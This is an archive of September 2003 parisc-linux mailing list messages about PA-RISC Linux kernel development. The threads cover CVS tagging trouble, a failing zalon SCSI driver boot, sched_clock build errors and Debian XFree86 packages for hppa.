X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19646

OK, think I have it figured out.  I experimented on
arch/parisc/vmlinux.lds.S since I know both we & Linus removed it.
The version in the linux-2.6.0-test6/_cvs-snapshot-linux-2.6/linux-2.6
tree was cvs revision 1.3 which was the same one tagged with the `linus'
symbolic tag.  Version 1.4 was where we deleted it, but the linus tag
never got moved (presumably because cvs tag -F won't move a tag to a
deleted revision).  So cvs up -rlinus still gets deleted files.

How to fix this?  I'm not at all sure.  I think there's an interesting
question about whether a deleted file should have no linus tag or a
linus tag on the deleted revision.

I'm going to go ahead and merge the 2.6.0-test6 upstream into the trunk
since there's nothing wrong with what's checked in (as long as I don't
try to use the `linus' tag for anything).

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tree frozen
Date: Sun, 28 Sep 2003 05:37:59 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030928043759.GE24824@parcelfarce.linux.theplanet.co.uk>
References: <20030928025925.GC24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622820 31683 80.91.229.3 (22 Nov 2014 02:20:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 22:38:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65A56483E
	for <parisc-linux@parisc-linux.org>; Sat, 27 Sep 2003 22:38:00 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3TJn-0001c8-Me; Sun, 28 Sep 2003 05:37:59 +0100
Content-Disposition: inline
In-Reply-To: <20030928025925.GC24824@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19647

On Sun, Sep 28, 2003 at 03:59:25AM +0100, Matthew Wilcox wrote:
> I'd appreciate it if people would not check in anything until this
> is fixed.  Sorry for the inconvenience.

Tree seems good now.  operations involving the linus tag may not work
as you expect... but go ahead and commit stuff.  Particularly to fix
sched_clock().

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [owner@bugs.debian.org: Bug#204844 acknowledged by developer (Re: Bug#204844: xlibs: libXt.so needs to be built with gcc 3.3.x for HPPA)]
Date: Sun, 28 Sep 2003 01:16:57 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20030928071657.GA28657@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622820 31685 80.91.229.3 (22 Nov 2014 02:20:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 01:16:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id EC09F483E; Sun, 28 Sep 2003 01:16:57 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19648

FYI -  hppa xfree86 libs should be usable again in "testing" release.
(eg xpdf and related stuff should be working).
Please post issues if it's not.
I can rebuild xfree86-4.2.1-11 bits if that is needed.
I'll be removing the 4.2.1-9 hppa.debs in the future when it's
clear they aren't needed.

enjoy!
grant

(kudos to branden+et al who enabled this!)

----- Forwarded message from Debian Bug Tracking System <owner@bugs.debian.org> -----

Date: Sat, 27 Sep 2003 19:56:23 -0500
From: Branden Robinson <branden@debian.org>
To: 204844-done@bugs.debian.org
Subject: Re: Bug#204844: xlibs: libXt.so needs to be built with gcc 3.3.x for HPPA

On Wed, Aug 27, 2003 at 09:57:00PM -0600, Grant Grundler wrote:
> On Wed, Aug 27, 2003 at 09:27:45PM -0500, Branden Robinson wrote:
> ...
> > My feeling is that our efforts are best spent on getting a newer 4.2.1
> > package into testing at this point.
>=20
> Agreed.
>=20
> I've placed a full set of "hand crafted" 4.2.1-9 hppa debs on:
> 	http://gsyprf11.external.hp.com/hppa/xfree86-4.2.1-9/
>=20
> Built with gcc 3.3.1 and current "testing" binutils.
> Works For Me (tm).
>=20
> These are built by hacking the Makefile "world" target to not rebuild
> everything from scratch and iteratively fix up the two problems by hand.
> source/build tree is intact on gsyprf11 in case someone wants a copy.

xfree86 4.2.1-11 entered Debian testing on Friday.

Closing this report.

--=20
G. Branden Robinson                |    Freedom is kind of a hobby with me,
Debian GNU/Linux                   |    and I have disposable income that
branden@debian.org                 |    I'll spend to find out how to get
http://people.debian.org/~branden/ |    people more of it. -- Penn Jillette

----- End forwarded message -----


From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] zalon/ncr53c720 (linux-2.6.0-test5-pa22) broken on C110
Date: Sun, 28 Sep 2003 09:00:02 +0000
Lines: 70
Approved: news@gmane.org
Message-ID: <3F76A312.8090603@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622820 31689 80.91.229.3 (22 Nov 2014 02:20:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	James Bottomley <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 03:00:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DC0A483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 03:00:03 -0600 (MDT)
Original-Received: from [62.235.120.167] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A3XPN-0008Al-VL; Sun, 28 Sep 2003 11:00:02 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19649

Hi all,

I read well the thread about the pb on K460 and so try to test it on my 
C110 model but is failed to boot:
2.6.0-test5-pa22
[...]
zalon_probe: Zalon vers field is 0x1, IRQ 
34                                   
ncr53c720-0: rev 0xf irq 
34                                                    
ncr53c720-0: ID 7, Fast-10, Parity Checking, 
Differential                      
ncr53c720-0: suspicious SCSI data while resetting the 
BUS.                     
ncr53c720-0: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o = 
0x3fdff000, expecting 0x100
ncr53c720-0: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE 
POWER etc!
ncr53c720-0: 
detaching...                                                      
53c700: Version 2.8 By 
James.Bottomley@HansenPartnership.com                   
scsi1: 53c710 rev 
2                                                            
scsi1 : LASI SCSI 
53c700                                                       
[...]
VFS: Cannot open root device "sda5" or unknown-block(2,0)
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs on unknown-block(2,0)

I am sure there is no hw pb because after that test I can always reboot 
with 2.6.0-test5-PA6:
2.6.0-test5-pa6
[...]
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c720-0: rev 0xf on pci bus 0 device 0 function 0 irq 34
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512
Using anticipatory scheduling io scheduler
  Vendor: SEAGATE   Model: ST34371W          Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34371W          Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
st: Version 20030811, fixed bufsize 32768, s/g segs 256
ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 >
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sdb: drive cache: write back
 sdb: sdb1 sdb2 sdb3 sdb4 < sdb5 sdb6 sdb7 sdb8 sdb9 >
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 5, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 6, lun 0,  type 0
[...]

Can somebody could help me to find patches (step by step) applied on 
this driver from -pa6 to -pa22?

Thanks in advance,
    Joel




From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: zalon/ncr53c720 (linux-2.6.0-test5-pa22) broken on C110
Date: Sun, 28 Sep 2003 13:24:14 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20030928122414.GF24824@parcelfarce.linux.theplanet.co.uk>
References: <3F76A312.8090603@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622820 31692 80.91.229.3 (22 Nov 2014 02:20:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	James Bottomley <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 06:24:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3981C4845
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 06:24:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3ab0-0006JO-A2; Sun, 28 Sep 2003 13:24:14 +0100
Content-Disposition: inline
In-Reply-To: <3F76A312.8090603@tiscali.be>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19650

On Sun, Sep 28, 2003 at 09:00:02AM +0000, Joel Soete wrote:
> I am sure there is no hw pb because after that test I can always reboot 
> with 2.6.0-test5-PA6:

This is good to hear.

> Can somebody could help me to find patches (step by step) applied on 
> this driver from -pa6 to -pa22?

Yes.  Could you start with -pa18 (or -pa20)?
http://cvs.parisc-linux.org/download/linux-2.6/patch-2.6.0-test5-pa18.gz
(or cvs up -rCVS260_TEST5_PA18)

The driver is rev 1.5 in -test5-pa6.  rev 1.6 is in -test5-pa18.
After -test5-pa20, we don't have anyautotagged stuff, but let's start
with -pa18.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.0-test6-pa0 undefined references
Date: Sun, 28 Sep 2003 15:44:14 +0100 (IST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0309281530440.29331@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622821 31695 80.91.229.3 (22 Nov 2014 02:20:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 08:44:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E6B64845
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 08:44:16 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id h8SEiFRK006999
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 15:44:15 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19651

Hi,

I can't compine 2.6.0-test6-pa0, compiling stops with the following
error message:


kernel/built-in.o(.text.try_to_wake_up+0xf8): In function
`try_to_wake_up':
: undefined reference to `sched_clock'
kernel/built-in.o(.text.schedule+0x7c): In function `schedule':
: undefined reference to `sched_clock'
kernel/built-in.o(.text.copy_process+0x4e0): In function `copy_process':
: undefined reference to `sched_clock'
make: *** [.tmp_vmlinux1] Error 1



The same config compiled fine with 2.6.0-test4-pa8.

Last tested with CVS checkout of 5 minutes ago.


PS: I also can't compile smbfs in the kernel, but as module:
 (error about undefined reference to `low2highuid`)


Thanks, Max


PS: .config will be send on request


From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test6-pa0 undefined references
Date: Sun, 28 Sep 2003 15:46:37 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20030928144637.GG24824@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0309281530440.29331@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622821 31698 80.91.229.3 (22 Nov 2014 02:20:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 08:46:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7905F4894
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 08:46:38 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3con-00071U-Gq; Sun, 28 Sep 2003 15:46:37 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0309281530440.29331@sal.ucc.ie>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19652

On Sun, Sep 28, 2003 at 03:44:14PM +0100, M. Grabert wrote:
> I can't compine 2.6.0-test6-pa0, compiling stops with the following
> error message:

Yes, that's expected for -pa0.  It only gets -pa1 once these kinds of
problems are fixed ;-)

> PS: I also can't compile smbfs in the kernel, but as module:
>  (error about undefined reference to `low2highuid`)

I'll look at that ...

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test6-pa0 undefined references
Date: Sun, 28 Sep 2003 15:50:29 +0100 (IST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0309281547200.29331@sal.ucc.ie>
References: <Pine.LNX.4.58.0309281530440.29331@sal.ucc.ie>
 <20030928144637.GG24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622821 31701 80.91.229.3 (22 Nov 2014 02:20:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 08:50:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 276654894
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 08:50:33 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id h8SEoURK007152;
	Sun, 28 Sep 2003 15:50:30 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030928144637.GG24824@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19653

On Sun, 28 Sep 2003, Matthew Wilcox wrote:

> On Sun, Sep 28, 2003 at 03:44:14PM +0100, M. Grabert wrote:
> > I can't compine 2.6.0-test6-pa0, compiling stops with the following
> > error message:
>
> Yes, that's expected for -pa0.  It only gets -pa1 once these kinds of
> problems are fixed ;-)

Yes, that's why I didn't included my .config (since you just merged -test6
I assumed it's too early to blame it on my config ;)

I also just wanted to give you a hint what needs fixing *grin*

> > PS: I also can't compile smbfs in the kernel, but as module:
> >  (error about undefined reference to `low2highuid`)
>
> I'll look at that ...

Slan, Max


From - Thu Nov 08 21:29:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO do not start!
Date: Sun, 28 Sep 2003 16:56:34 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <3F7712C2.2000902@tiscali.be>
References: <881138831633.20030923163001@kti.ae.poznan.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622822 31707 80.91.229.3 (22 Nov 2014 02:20:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jacek Chmielewski <jchmiel@kti.ae.poznan.pl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 10:56:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 818BA4845
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 10:56:40 -0600 (MDT)
Original-Received: from [62.235.120.167] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A3eqd-00077l-Aa; Sun, 28 Sep 2003 18:56:39 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <881138831633.20030923163001@kti.ae.poznan.pl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19654

Jacek Chmielewski wrote:

>Hi
>
>I managed to install Debian on my HP 9000/J200 box (I used DHCP server and
>netinstall lifimage). The installation procedure passed without problems. I
>created three partitions:
>/dev/sda1  *  1    4    16461  f0  Linux/PA-RISC boot
